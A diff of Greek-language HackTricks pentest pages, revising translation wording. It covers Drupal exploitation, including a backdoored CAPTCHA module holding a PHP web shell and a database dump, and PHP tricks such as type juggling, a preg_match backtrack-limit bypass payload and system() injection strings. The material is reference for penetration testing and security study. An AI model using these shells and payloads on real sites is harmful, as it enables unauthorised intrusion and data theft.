@ -31,11 +31,11 @@ curl drupal-site.com/node/1
```
## Απαρίθμηση
Το Drupal υποστηρίζει **τρία είδη χρηστών** από προεπιλογή:
Το Drupal υποστηρίζει **τρεις τύπους χρηστών** από προεπιλογή:
1. **`Διαχειριστής`**: Αυτός ο χρήστης έχει πλήρη έλεγχο στην ιστοσελίδα του Drupal.
2. **`Εξουσιοδοτημένος Χρήστης`**: Αυτοί οι χρήστες μπορούν να συνδεθούν στην ιστοσελίδα και να εκτελέσουν λειτουργίες όπως προσθήκη και επεξεργασία άρθρων βάσει των δικαιωμάτων τους.
3. **`Ανώνυμος`**: Όλοι οι επισκέπτες της ιστοσελίδας θεωρούνται ανώνυμοι. Από προεπιλογή, αυτοί οι χρήστες επιτρέπεται μόνο να διαβάζουν αναρτήσεις.
1. **`Διαχειριστής`**: Αυτός ο χρήστης έχει πλήρη έλεγχο του ιστότοπου του Drupal.
2. **`Εξουσιοδοτημένος Χρήστης`**: Αυτοί οι χρήστες μπορούν να συνδεθούν στον ιστότοπο και να εκτελέσουν λειτουργίες όπως προσθήκη και επεξεργασία άρθρων βάσει των δικαιωμάτων τους.
3. **`Ανώνυμος`**: Όλοι οι επισκέπτες του ιστότοπου θεωρούνται ανώνυμοι. Από προεπιλογή, αυτοί οι χρήστες επιτρέπεται μόνο να διαβάζουν αναρτήσεις.
### Έκδοση
@ -53,17 +53,17 @@ Drupal 7.57, 2018-02-21
#### Εγγραφή
Στο _/user/register_ απλά προσπαθήστε να δημιουργήσετε ένα όνομα χρήστη και αν το όνομα είναι ήδη κατειλημμένο θα ειδοποιηθείτε:
Στο _/user/register_ απλά προσπαθήστε να δημιουργήσετε ένα όνομα χρήστη και αν το όνομα είναι ήδη κατειλημμένο θα ενημερωθείτε:
![](<../../.gitbook/assets/image (325).png>)
#### Αίτηση νέου κωδικού πρόσβασης
Εάν ζητήσετε ένα νέο κωδικό για ένα υπάρχον όνομα χρήστη:
Αν ζητήσετε ένα νέο κωδικό πρόσβασης για ένα υπάρχον όνομα χρήστη:
![](<../../.gitbook/assets/image (900).png>)
Εάν ζητήσετε ένα νέο κωδικό για ένα μη υπάρχον όνομα χρήστη:
Αν ζητήσετε ένα νέο κωδικό πρόσβασης για ένα μη υπάρχον όνομα χρήστη:
![](<../../.gitbook/assets/image (304).png>)
@ -99,7 +99,7 @@ droopescan scan drupal -u http://drupal-site.local
### Με το Πρόσθετο PHP Filter
{% hint style="warning" %}
Σε παλαιότερες εκδόσεις του Drupal **(πριν την έκδοση 8)**, ήταν δυνατό να συνδεθείτε ως διαχειριστής και **ενεργοποιήσετε το πρόσθετο `PHP filter`**, το οποίο "Επιτρέπει την αξιολόγηση ενσωματωμένου κώδικα PHP/αποσπασμάτων."
Σε παλαιότερες εκδόσεις του Drupal **(πριν την έκδοση 8)**, ήταν δυνατό να συνδεθείτε ως διαχειριστής και **να ενεργοποιήσετε το πρόσθετο `PHP filter`**, το οποίο "Επιτρέπει την αξιολόγηση ενσωματωμένου κώδικα PHP/αποσπασμάτων."
{% endhint %}
Χρειάζεστε το **πρόσθετο php να είναι εγκατεστημένο** (ελέγξτε τον έλεγχο πρόσβασης στο _/modules/php_ και αν επιστρέφει **403** τότε, **υπάρχει**, αν **δεν βρέθηκε**, τότε το **πρόσθετο php δεν είναι εγκατεστημένο**)
@ -108,7 +108,7 @@ droopescan scan drupal -u http://drupal-site.local
![](<../../.gitbook/assets/image (247) (1).png>)
Στη συνέχεια κάντε κλικ στο ροσθήκη περιεχομένου_ -> Επιλέξτε _Βασική Σελίδα_ ή ρθρο_ -> Γράψτε _κώδικα κέλυφους php στο σώμα_ -> Επιλέξτε _Κώδικα PHP_ στη _Μορφή κειμένου_ -> Επιλέξτε _Προεπισκόπηση_
Στη συνέχεια κάντε κλικ στο ροσθήκη περιεχομένου_ -> Επιλέξτε _Βασική Σελίδα_ ή ρθρο_ -> Γράψτε _κώδικα php shell_ στο σώμα -> Επιλέξτε _Κώδικα PHP_ στη μορφή _Κειμένου_ -> Επιλέξτε _Προεπισκόπηση_
![](<../../.gitbook/assets/image (335).png>)
@ -118,17 +118,17 @@ curl http://drupal-site.local/node/3
```
### Εγκατάσταση του Πρόσθετου PHP Filter
Από την έκδοση **8 και μετά, το** [**PHP Filter**](https://www.drupal.org/project/php/releases/8.x-1.1) **δεν εγκαθίσταται από προεπιλογή**. Για να εκμεταλλευτούμε αυτήν τη λειτουργία, θα πρέπει **να εγκαταστήσουμε το πρόσθετο μόνοι μας**.
Από την έκδοση **8 και μετά, το** [**PHP Filter**](https://www.drupal.org/project/php/releases/8.x-1.1) **δεν εγκαθίσταται από προεπιλογή**. Για να επωφεληθούμε από αυτήν τη λειτουργικότητα, θα πρέπει **να εγκαταστήσουμε το πρόσθετο μόνοι μας**.
1. Κατεβάστε την πιο πρόσφατη έκδοση του πρόσθετου από την ιστοσελίδα του Drupal.
1. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
2. Αφού γίνει η λήψη, πηγαίνετε σε **`Διαχείριση`** > **`Αναφορές`** > **`Διαθέσιμες ενημερώσεις`**.
3. Κάντε κλικ στο **`Περιήγηση`**, επιλέξτε το αρχείο από τον κατάλογο που το κατεβάσατε, και στη συνέχεια κάντε κλικ στο **`Εγκατάσταση`**.
4. Αφού εγκατασταθεί το πρόσθετο, μπορούμε να κάνουμε κλικ στο **`Περιεχόμενο`** και **να δημιουργήσουμε μια νέα βασική σελίδα**, παρόμοια με τον τρόπο που κάναμε στο παράδειγμα του Drupal 7. Ξανά, βεβαιωθείτε ότι **επιλέγετε `Κώδικα PHP` από την αναπτυσσόμενη λίστα `Μορφοποίηση κειμένου`**.
2. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
3. Αφού γίνει η λήψη, πηγαίνετε σε **`Διαχείριση`** > **`Αναφορές`** > **`Διαθέσιμες ενημερώσεις`**.
4. Κάντε κλικ στο **`Περιήγηση`**, επιλέξτε το αρχείο από τον κατάλογο που το κατεβάσατε, και στη συνέχεια κάντε κλικ στο **`Εγκατάσταση`**.
5. Αφού εγκατασταθεί το πρόσθετο, μπορούμε να κάνουμε κλικ στο **`Περιεχόμενο`** και **να δημιουργήσουμε μια νέα βασική σελίδα**, παρόμοια με τον τρόπο που κάναμε στο παράδειγμα του Drupal 7. Ξανά, βεβαιωθείτε ότι **επιλέγετε `Κώδικα PHP` από την αναπτυσσόμενη λίστα `Μορφοποίηση κειμένου`**.
### Πρόσθετο με Παρασκευασμένη Πίσω Πόρτα
Ένα πρόσθετο με παρασκευασμένη πίσω πόρτα μπορεί να δημιουργηθεί **προσθέτοντας ένα shell σε ένα υπάρχον πρόσθετο**. Τα πρόσθετα μπορούν να βρεθούν στην ιστοσελίδα drupal.org. Ας επιλέξουμε ένα πρόσθετο όπως το [CAPTCHA](https://www.drupal.org/project/captcha). Κύλισε προς τα κάτω και αντέγραψε τον σύνδεσμο για το tar.gz [αρχείο](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz).
Ένα πρόσθετο με παρασκευασμένη πίσω πόρτα μπορεί να δημιουργηθεί **προσθέτοντας ένα κέλυφος σε ένα υπάρχον πρόσθετο**. Τα πρόσθετα μπορούν να βρεθούν στην ιστοσελίδα drupal.org. Ας επιλέξουμε ένα πρόσθετο όπως το [CAPTCHA](https://www.drupal.org/project/captcha). Κύλισε προς τα κάτω και αντέγραψε τον σύνδεσμο για το tar.gz [αρχείο](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz).
* Κατέβασε το αρχείο και εξάγετε το περιεχόμενό του.
```
@ -141,20 +141,20 @@ tar xvf captcha-8.x-1.2.tar.gz
system($_GET["cmd"]);
?>
```
* Επόμενο, πρέπει να δημιουργήσουμε ένα αρχείο **`.htaccess`** για να δώσουμε πρόσβαση στον φάκελο. Αυτό είναι απαραίτητο επειδή το Drupal αρνείται την άμεση πρόσβαση στον φάκελο **`/modules`**.
* Επόμενο, πρέπει να δημιουργήσουμε ένα αρχείο **`.htaccess`** για να δώσουμε πρόσβαση στον εαυτό μας στον φάκελο. Αυτό είναι απαραίτητο επειδή το Drupal αρνείται την άμεση πρόσβαση στον φάκελο **`/modules`**.
```html
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
```
* Η διαμόρφωση παραπάνω θα εφαρμόσει κανόνες για τον φάκελο / όταν ζητάμε ένα αρχείο στο /modules. Αντιγράψτε και τα δύο αρχεία στον φάκελο captcha και δημιουργήστε ένα αρχείο αρχειοθέτησης.
* Η διαμόρφωση παραπάνω θα εφαρμόσει κανόνες για τον φάκελο / όταν ζητάμε ένα αρχείο στο /modules. Αντιγράψτε και τα δύο αρχεία αυτά στον φάκελο captcha και δημιουργήστε ένα αρχείο αρχειοθέτησης.
```bash
mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
```
* Υποθέτοντας ότι έχουμε **διαχειριστική πρόσβαση** στον ιστότοπο, κάντε κλικ στο **`Διαχείριση`** και στη συνέχεια στο **`Επέκταση`** στην πλαϊνή μπάρα πλοήγησης. Στη συνέχεια, κάντε κλικ στο κουμπί **`+ Εγκατάσταση νέου πρόσθετου`**, και θα μεταφερθούμε στη σελίδα εγκατάστασης, όπως το `http://drupal-site.local/admin/modules/install`. Περιηγηθείτε στο αρχείο Captcha με backdoor και κάντε κλικ στο **`Εγκατάσταση`**.
* Μόλις η εγκατάσταση επιτύχει, περιηγηθείτε στο **`/modules/captcha/shell.php`** για να εκτελέσετε εντολές.
*Υποθέτοντας ότι έχουμε **διαχειριστική πρόσβαση** στον ιστότοπο, κάντε κλικ στο **`Διαχείριση`** και στη συνέχεια στο **`Επέκταση`** στην πλαϊνή μπάρα. Στη συνέχεια, κάντε κλικ στο κουμπί **`+ Εγκατάσταση νέου πρόσθετου`**, και θα μας οδηγηθεί στη σελίδα εγκατάστασης, όπως το `http://drupal-site.local/admin/modules/install`. Περιηγηθείτε στο αρχείο Captcha με backdoor και κάντε κλικ στο **`Εγκατάσταση`**.
* Αφού η εγκατάσταση είναι επιτυχής, περιηγηθείτε στο **`/modules/captcha/shell.php`** για να εκτελέσετε εντολές.
## Μετά την Εκμετάλλευση
@ -170,7 +170,7 @@ mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from
* [https://academy.hackthebox.com/module/113/section/1209](https://academy.hackthebox.com/module/113/section/1209)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -185,6 +185,6 @@ mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -2,19 +2,19 @@
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team AWS του HackTricks)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα κόλπα σας στο χάκινγκ υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* **Μοιραστείτε τα κόλπα σας στο χάκινγκ υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
<figure><img src="../../../.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="../../..https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -47,9 +47,9 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
* `"string" == 0 -> True` Ένα string που δεν ξεκινά με έναν αριθμό είναι ίσο με έναν αριθμό
* `"0xAAAA" == "43690" -> True` Strings που αποτελούνται από αριθμούς σε δεκαδική ή εξαδική μορφή μπορούν να συγκριθούν με άλλους αριθμούς/strings με αποτέλεσμα True εάν οι αριθμοί ήταν ίδιοι (οι αριθμοί σε ένα string ερμηνεύονται ως αριθμοί)
* `"0e3264578" == 0 --> True` Ένα string που ξεκινά με "0e" και ακολουθείται από οτιδήποτε θα είναι ίσο με 0
* `"0X3264578" == 0X --> True` Ένα string που ξεκινά με "0" και ακολουθείται από οποιοδήποτε γράμμα (το X μπορεί να είναι οποιοσδήποτε χαρακτήρας) και ακολουθείται από οτιδήποτε θα είναι ίσο με 0
* `"0X3264578" == 0X --> True` Ένα string που ξεκινά με "0" και ακολουθείται από οποιοδήποτε γράμμα (το X μπορεί να είναι οποιοδήποτε γράμμα) και ακολουθείται από οτιδήποτε θα είναι ίσο με 0
* `"0e12334" == "0" --> True` Αυτό είναι πολύ ενδιαφέρον επειδή σε ορισμένες περιπτώσεις μπορείτε να ελέγξετε τη συμβολοσειρά εισόδου του "0" και κάποιο περιεχόμενο που υπολογίζεται και συγκρίνεται με αυτό. Επομένως, εάν μπορείτε να παρέχετε μια τιμή που θα δημιουργήσει ένα hash που ξεκινά με "0e" και χωρίς κανένα γράμμα, μπορείτε να παρακάμψετε τη σύγκριση. Μπορείτε να βρείτε **ήδη κατακερματισμένες συμβολοσειρές** με αυτήν τη μορφή εδώ: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
* `"X" == 0 --> True` Οποιοσδήποτε χαρακτήρας σε ένα string είναι ίσος με τον ακέραιο 0
* `"X" == 0 --> True` Οποιοδήποτε γράμμα σε ένα string είναι ίσο με τον ακέραιο 0
Περισσότερες πληροφορίες στο [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
@ -72,11 +72,11 @@ if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Re
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
```
### Αυτό το ίδιο σφάλμα συμβαίνει και με το `strcasecmp()`
Η ίδια σφάλμα συμβαίνει με το `strcasecmp()`
### Αυστηρή μετατροπή τύπου
### Αυστηρή τύπου μαγεία
Ακόμα κι αν χρησιμοποιείται το `===`, μπορεί να υπάρχουν σφάλματα που καθιστούν τη σύγκριση ευάλωτη στη μετατροπή τύπου. Για παράδειγμα, αν η σύγκριση μετατρέπει τα δεδομένα σε διαφορετικό τύπο αντικειμένου πριν γίνει η σύγκριση:
Ακόμα κι αν χρησιμοποιείται το `===` ενδέχεται να υπάρχουν σφάλματα που καθιστούν τη σύγκριση ευάλωτη στην τύπου μαγεία. Για παράδειγμα, αν η σύγκριση μετατρέπει τα δεδομένα σε διαφορετικό τύπο αντικειμένου πριν τη σύγκριση:
```php
(int) "1abc" === (int) "1xyz" //This will be true
```
@ -99,7 +99,7 @@ echo preg_match("/^.*1/",$myinput);
echo preg_match("/^.*1.*$/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
```
Για να παρακάμψετε αυτόν τον έλεγχο μπορείτε **να στείλετε την τιμή με νέες γραμμές urlencoded** (`%0A`) ή αν μπορείτε να στείλετε **δεδομένα JSON**, στείλτε τα σε **πολλαπλές γραμμές**:
Για να παρακάμψετε αυτόν τον έλεγχο μπορείτε **να στείλετε την τιμή με νέες γραμμές urlencoded** (`%0A`) ή αν μπορείτε να στείλετε **δεδομένα JSON**, στείλτε τα σε **πολλές γραμμές**:
```php
{
"cmd": "cat /etc/passwd"
@ -110,7 +110,7 @@ echo preg_match("/^.*1.*$/",$myinput);
#### **Παράκαμψη σφάλματος μήκους**
(Αυτή η παράκαμψη δοκιμάστηκε προφανώς σε PHP 5.2.5 και δεν μπόρεσα να την κάνω να λειτουργήσει σε PHP 7.3.15)\
Αν μπορείτε να στείλετε στο `preg_match()` ένα πολύ **μεγάλο έγκυρο εισαγωγικό**, δεν θα μπορέσει να το επεξεργαστεί και θα μπορέσετε να **παρακάμψετε** τον έλεγχο. Για παράδειγμα, αν απαγορεύει ένα JSON θα μπορούσατε να στείλετε:
Αν μπορείτε να στείλετε στο `preg_match()` ένα πολύ **μεγάλο έγκυρο είσοδο**, δεν θα μπορέσει να το επεξεργαστεί και θα μπορέσετε να **παρακάμψετε** τον έλεγχο. Για παράδειγμα, αν απαγορεύει ένα JSON μπορείτε να στείλετε:
```bash
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
```
@ -120,12 +120,12 @@ payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
<figure><img src="../../../.gitbook/assets/image (23).png" alt=""><figcaption></figcaption></figure>
Συνοπτικά, το πρόβλημα συμβαίνει επειδή οι λειτουργίες `preg_*` στην PHP βασίζονται στη [βιβλιοθήκη PCRE](http://www.pcre.org/). Στο PCRE, ορισμένες κανονικές εκφράσεις ταιριάζονται χρησιμοποιώντας πολλές αναδρομικές κλήσεις, οι οποίες χρησιμοποιούν πολύ χώρο στο stack. Είναι δυνατόν να οριστεί ένα όριο στον αριθμό των αναδρομών που επιτρέπονται, αλλά στην PHP αυτό το όριο [προεπιλέγεται στο 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) που είναι περισσότερο από ό,τι χωράει στο stack.
Συνοπτικά, το πρόβλημα συμβαίνει επειδή οι συναρτήσεις `preg_*` στο PHP βασίζονται στη [βιβλιοθήκη PCRE](http://www.pcre.org/). Στο PCRE, ορισμένες κανονικές εκφράσεις ταιριάζονται χρησιμοποιώντας πολλές αναδρομικές κλήσεις, οι οποίες χρησιμοποιούν πολύ χώρο στο stack. Είναι δυνατόν να οριστεί ένα όριο στον αριθμό των αναδρομών που επιτρέπονται, αλλά στο PHP αυτό το όριο [ορίζεται από προεπιλογή σε 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) που είναι περισσότερο από όσο χωράει στο stack.
[Αυτό το νήμα στο Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) συνδέθηκε επίσης στην ανάρτηση όπου μιλάει πιο αναλυτικά για αυτό το θέμα. Η εργασία μας ήταν τώρα σαφής:\
**Στείλτε μια είσοδο που θα κάνει το regex να κάνει 100.000+ αναδρομές, προκαλώντας SIGSEGV, κάνοντας τη λειτουργία `preg_match()` να επιστρέψει `false` κάνοντας έτσι την εφαρμογή να νομίζει ότι η είσοδός μας δεν είναι κακόβουλη, ρίχνοντας την έκπληξη στο τέλος του φορτίου κάτι σαν `{system(<verybadcommand>)}` για να πάρουμε SSTI --> RCE --> σημαία :)**.
**Στείλτε μια είσοδο που θα κάνει την κανονική έκφραση να κάνει 100.000+ αναδρομές, προκαλώντας SIGSEGV, κάνοντας τη συνάρτηση `preg_match()` να επιστρέψει `false` και έτσι να πείσει την εφαρμογή ότι η είσοδός μας δεν είναι κακόβουλη, ρίχνοντας την έκπληξη στο τέλος του φορτίου κάτι σαν `{system(<verybadcommand>)}` για να πάρουμε SSTI --> RCE --> σημαία :)**.
Καλά, σε όρους regex, δεν κάνουμε πραγματικά 100.000 "αναδρομές", αλλά αντίθετα μετράμε "βήματα επιστροφής", τα οποία όπως αναφέρει το [έγγραφο της PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) προεπιλέγονται στο 1.000.000 (1M) στη μεταβλητή `pcre.backtrack_limit`.\
Καλά, σε όρους κανονικών εκφράσεων, δεν κάνουμε πραγματικά 100.000 "αναδρομές", αλλά αντίθετα μετράμε "βήματα επιστροφής", τα οποία όπως αναφέρει το [έγγραφο του PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) ορίζονται από προεπιλογή σε 1.000.000 (1M) στη μεταβλητή `pcre.backtrack_limit`.\
Για να φτάσουμε εκεί, `'X'*500_001` θα οδηγήσει σε 1 εκατομμύριο βήματα επιστροφής (500k προς τα εμπρός και 500k προς τα πίσω):
```python
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
@ -143,7 +143,7 @@ $obfs += ""; //int 7
```
## Εκτέλεση Μετά την Ανακατεύθυνση (EAR)
Εάν το PHP ανακατευθύνει σε μια άλλη σελίδα αλλά δεν καλείται η συνάρτηση **`die`** ή **`exit`** μετά την ρύθμιση του κεφαλαίου `Τοποθεσία`, το PHP συνεχίζει την εκτέλεση και προσθέτει τα δεδομένα στο σώμα:
Εάν το PHP ανακατευθύνει σε μια άλλη σελίδα αλλά δεν καλείται η συνάρτηση **`die`** ή **`exit`** μετά τον ορισμό του κεφαλίδας **`Location`**, τότε το PHP συνεχίζει την εκτέλεση και προσθέτει τα δεδομένα στο σώμα της απόκρισης:
```php
<?php
// In this page the page will be read and the content appended to the body of
@ -163,16 +163,16 @@ readfile($page);
## Περισσότερα κόλπα
* **register\_globals**: Στο **PHP < 4.1.1.1** ή αν δεν έχει ρυθμιστεί σωστά, το **register\_globals** μπορεί να είναι ενεργό (ή η συμπεριφορά του να μιμείται). Αυτό σημαίνει ότι σε γενικές μεταβλητές όπως το $\_GET αν έχουν μια τιμή π.χ. $\_GET\["param"]="1234", μπορείτε να την προσπελάσετε μέσω του **$param**. Έτσι, με την αποστολή παραμέτρων HTTP μπορείτε να **αντικαταστήσετε μεταβλητές** που χρησιμοποιούνται στον κώδικα.
* Τα **cookies PHPSESSION του ίδιου τομέα αποθηκεύονται στον ίδιο τόπο**, επομένως αν εντός ενός τομέα **χρησιμοποιούνται διαφορετικά cookies σε διαφορετικά μονοπάτια** μπορείτε να κάνετε ένα μονοπάτι **να έχει πρόσβαση στο cookie του μονοπατιού** ορίζοντας την τιμή του cookie του άλλου μονοπατιού.\
* **register\_globals**: Στο **PHP < 4.1.1.1** ή αν δεν έχει ρυθμιστεί σωστά, το **register\_globals** μπορεί να είναι ενεργό (ή η συμπεριφορά του να μιμείται). Αυτό σημαίνει ότι σε γενικές μεταβλητές όπως το $\_GET αν έχουν μια τιμή π.χ. $\_GET\["param"]="1234", μπορείτε να την προσπελάσετε μέσω του **$param**. Έτσι, με την αποστολή παραμέτρων HTTP μπορείτε να αντικαταστήσετε μεταβλητές που χρησιμοποιούνται στον κώδικα.
* Τα **PHPSESSION cookies του ίδιου τομέα αποθηκεύονται στον ίδιο τόπο**, επομένως αν εντός ενός τομέα **χρησιμοποιούνται διαφορετικά cookies σε διαφορετικά μονοπάτια** μπορείτε να κάνετε ένα μονοπάτι **να έχει πρόσβαση στο cookie του μονοπατιού** ορίζοντας την τιμή του cookie του άλλου μονοπατιού.\
Με αυτόν τον τρόπο, αν **και τα δύο μονοπάτια έχουν πρόσβαση σε μια μεταβλητή με το ίδιο όνομα** μπορείτε να κάνετε τη **τιμή αυτής της μεταβλητής στο μονοπάτι1 να ισχύει για το μονοπάτι2**. Και στη συνέχεια το μονοπάτι2 θα θεωρήσει ως έγκυρες τις μεταβλητές του μονοπατιού1 (δίνοντας στο cookie το όνομα που του αντιστοιχεί στο μονοπάτι2).
* Όταν έχετε τα **ονόματα χρηστών** των χρηστών της μηχανής. Ελέγξτε τη διεύθυνση: **/\~\<USERNAME>** για να δείτε αν οι κατάλογοι php είναι ενεργοποιημένοι.
* [**LFI και RCE χρησιμοποιώντας php wrappers**](../../../pentesting-web/file-inclusion/)
### password\_hash/password\_verify
Αυτές οι λειτουργίες χρησιμοποιούνται τυπικά στο PHP για το **δημιουργία κατακερματισμένων κωδικών από κωδικούς πρόσβασης** και για να **ελέγξουν** αν ένας κωδικός πρόσβασης είναι σωστός σε σύγκριση με ένα κατακερματισμένο κωδικό.\
Οι υποστηριζόμενοι αλγόριθμοι είναι: `PASSWORD_DEFAULT` και `PASSWORD_BCRYPT` (ξεκινά με `$2y$`). Σημειώστε ότι το **PASSWORD\_DEFAULT είναι συχνά το ίδιο με το PASSWORD\_BCRYPT.** Και επί του παρόντος, το **PASSWORD\_BCRYPT** έχει μια **περιορισμένη μέγεθος στην είσοδο των 72bytes**. Επομένως, όταν προσπαθείτε να κατακερματίσετε κάτι μεγαλύτερο από 72bytes με αυτόν τον αλγόριθμο, θα χρησιμοποιηθούν μόνο τα πρώτα 72B:
Αυτές οι λειτουργίες χρησιμοποιούνται τυπικά στο PHP για το **δημιουργία hashes από κωδικούς πρόσβασης** και για να **ελέγξουν** αν ένας κωδικός πρόσβασης είναι σωστός σε σύγκριση με ένα hash.\
Οι υποστηριζόμενοι αλγόριθμοι είναι: `PASSWORD_DEFAULT` και `PASSWORD_BCRYPT` (ξεκινά με `$2y$`). Σημειώστε ότι το **PASSWORD\_DEFAULT είναι συχνά το ίδιο με το PASSWORD\_BCRYPT.** Και επί του παρόντος, το **PASSWORD\_BCRYPT** έχει μια **περιορισμένη μέγεθος εισόδου στα 72bytes**. Επομένως, όταν προσπαθείτε να κάνετε hash κάτι μεγαλύτερο από 72bytes με αυτόν τον αλγόριθμο, θα χρησιμοποιηθούν μόνο τα πρώτα 72B:
```php
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False
@ -180,10 +180,10 @@ False
$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True
```
### Παράκαμψη κεφαλίδων HTTP με κατάχρηση σφαλμάτων PHP
### Παράκαμψη κεφαλίδων HTTP εκμεταλλευόμενος σφάλματα PHP
Εάν μια **σελίδα PHP εκτυπώνει σφάλματα και ανταποκρίνεται μερικές φορές σε κάποια είσοδο που παρέχεται από τον χρήστη**, ο χρήστης μπορεί να κάνει τον διακομιστή PHP να εκτυπώσει κάποιο **περιεχόμενο αρκετά μεγάλο** ώστε όταν προσπαθήσει να **προσθέσει τις κεφαλίδες** στην απόκριση, ο διακομιστής θα εκτοξεύσει ένα σφάλμα.\
Στο ακόλουθο σενάριο ο **εισβολέας έκανε τον διακομιστή να εκτοξεύσει μερικά μεγάλα σφάλματα**, και όπως μπορείτε να δείτε στην οθόνη, όταν το PHP προσπάθησε να **τροποποιήσει τις πληροφορίες της κεφαλίδας, δεν μπόρεσε** (έτσι για παράδειγμα η κεφαλίδα CSP δεν απεστάλη στον χρήστη):
Εάν μια σελίδα **PHP εκτυπώνει σφάλματα και αντανακλά κάποια είσοδο που παρέχεται από τον χρήστη**, ο χρήστης μπορεί να κάνει τον διακομιστή PHP να εκτυπώσει κάποιο **περιεχόμενο αρκετά μεγάλο** ώστε όταν προσπαθήσει να **προσθέσει τις κεφαλίδες** στην απόκριση, ο διακομιστής θα εκτοξεύσει ένα σφάλμα.\
Στο ακόλουθο σενάριο ο **επιτιθέμενος έκανε τον διακομιστή να εκτοξεύσει μερικά μεγάλα σφάλματα**, και όπως μπορείτε να δείτε στην οθόνη, όταν το PHP προσπάθησε να **τροποποιήσει τις πληροφορίες της κεφαλίδας, δεν μπόρεσε** (έτσι για παράδειγμα η κεφαλίδα CSP δεν απεστάλη στον χρήστη):
![](<../../../.gitbook/assets/image (1082).png>)
@ -218,7 +218,7 @@ preg_replace("/a/e","phpinfo()","whatever")
```
?page=a','NeVeR') === false and system('ls') and strpos('a
```
